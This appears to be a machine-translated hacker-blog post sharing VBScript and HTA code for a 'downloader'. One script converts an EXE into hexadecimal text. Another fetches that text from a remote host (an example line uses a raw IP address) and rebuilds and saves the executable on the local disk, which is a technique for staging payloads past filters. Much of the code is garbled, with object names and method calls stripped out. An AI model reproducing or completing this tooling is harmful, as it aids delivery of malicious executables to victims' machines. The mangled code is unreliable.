SoFunction
Updated on 2025-03-10

The latest version of vbs downloader

There are many vbs downloaders, here I am a great invention made by vbs downloaders. Great means pretending to be B.
NP has finished writing the code first, please see here for details: /vbs_zone/blog/item/

When writing his BLOG backup script, Brother LCX found that he could access the Internet to download things, saying that it was research and might be used as a downloader.
So I studied it for a while. Write a rough DEMO.
//Xiaolu's exe2vbs, I modified it to drag and drop directly, and converted to hexadecimal
================================================

Copy the codeThe code is as follows:

'code by xiaolu
'change by NetPatch
on error resume next
set arg=
if =0 then
do while 1
fname=arg(0)
=0
Set Ado = CreateObject("")
With Ado
.Type = 1
.open
.loadfromfile fname
ss = .read
End With
if <>0 then
if msgbox("File Open Error!",1,"File2VBS")=2 then
else
exit do
end if
loop
if fname="" then
Set Fso=CreateObject("")
Set File=(arg(0)&".htm",2, True)
Bin2Str(ss)

Set fso=nothing

set Abo=nothing
Function Bin2Str(Re)
For i = 1 To lenB(Re)
bt = AscB(MidB(Re, i, 1))
if bt < 16 Then Bin2Str=Bin2Str&"0"
Bin2Str=Bin2Str & Hex(bt)
Next
End Function

======================================
Downloader
=============
Copy the codeThe code is as follows:

on error resume next
set arg=
if =0 then
'code by NetPatch
'cscript http://122.136.32.55/ c:\
Set Mail1 = CreateObject("")
arg(0),31
ss=
Set Mail1 = Nothing
Set RS=CreateObject("")
L=Len(ss)/2
"m",205,L
:
RS("m")=ss&ChrB(0)

ss=RS("m").GetChunk(L)
Set s=CreateObject("")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with

==================================
When using the contents, you can use it to convert to EXE.
How to use:
1. Convert exe to hexadecimal and put it on the network
http://xxx/ c:\


Because of the unknown reason why NP is written, the process will not automatically exit after exe execution on my machine, so I will update it again.
======== Use the following hta file to convert the exe into hexadecimal html and save it. This will also be more convenient. ==========
Copy the codeThe code is as follows:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>package file v0.1</title>
<meta http-equiv="Content-Type" content="text/html; charset=GB2312">
<HTA:APPLICATION
ID="package file v0.1"
APPLICATIONNAME="package file v0.1"
VERSION="0.1"
SCROLL="no"
INNERBORDER="no"
CONTEXTMENU="yes"
CAPTION="yes"
ICON="no"
SHOWINTASKBAR="yes"
SINGLEINSTANCE="yes"
SYSMENU="yes"
MAXIMIZEBUTTON ="no"
WINDOWSTATE="normal"
NAVIGABLE="yes"
/>
<SCRIPT LANGUAGE="VBScript">
function transfert()
dim filename
filename = ("srcFile").value
if len(filename)>0 then
dim oReq
'on error resume next
'//Create XMLHTTP object
set oReq = CreateObject("")
"get","file:\\" & filename,false

ff =
dim u,s,kk
u = lenb(ff)
redim kk(u-1)
for i=0 to u-1
s = hex(ascb(midb(ff,i+1,1)))
if len(s)<2 then
s = "0" & s
end if
'kk = kk & s
kk(i) = s
next
make filename,join(kk,"")
else
("srcFile").focus
msgbox "Please select the file to compress", 16, "Tip"
end if
end function
function make(filename,data)
dim htm,file
file = mid(filename,instrrev(filename,"\")+1)
htm = htm & data
dim fso,f
dim this_file
this_file = file & "-"
Set fso = CreateObject("")
Set f = (this_file, 2, True)
htm
msgbox "generate file" & this_file & "success!",64,"generate"
end function
</SCRIPT>
</head>
<body marginleft=0 marginright=0 onload=" 389,145 ">
Please select a file: <input type=file style="width:260px;"><br><br>
<input type=button value=" convert " onclick="transfert"> <input type=button value=" close " onclick="">
</body>
</html>

=============================== Use the following vbs script to download and place the htm generated by hta on the space. The download and generated htm written in NP is also OK, with less code ============
Copy the codeThe code is as follows:

'//Save the file
function saveFile(filename,str)
set adodbStream = CreateObject("ADODB" & "." & "Stream")
= 1

str
filename,2

end function
'//Convert VB array into binary format
Function MultiByteToBinary(MultiByte)
Dim RS, LMultiByte, Binary
Const adLongVarBinary = 205
Set RS = CreateObject("")
LMultiByte = LenB(MultiByte)
If LMultiByte>0 Then
"mBinary", adLongVarBinary, LMultiByte


RS("mBinary").AppendChunk MultiByte & ChrB(0)

Binary = RS("mBinary").GetChunk(LMultiByte)
End If
MultiByteToBinary = Binary
End Function

function exec()
'//Blocking error
on error resume Next
Set args =
if = 0 then
"Usage: CScript url c:\"
1
end If
dim data,t,kk,filename,ss
Set Mail1 = CreateObject("")
(0) ,31
' "c:\xxx\",31
ss=
Set Mail1=nothing

'//Get data
data = ss
'//Get the file name
filename = (1)
'//Get the data length
u = len(data)
'//Get the file array
for i=1 to u step 2
t = mid(data,i,2)
kk = kk & ChrB(clng("&H" & t))
next
'//Convert to binary format
dataArry = MultiByteToBinary(kk)
'//Save the file
saveFile filename,dataArry

end function
exec()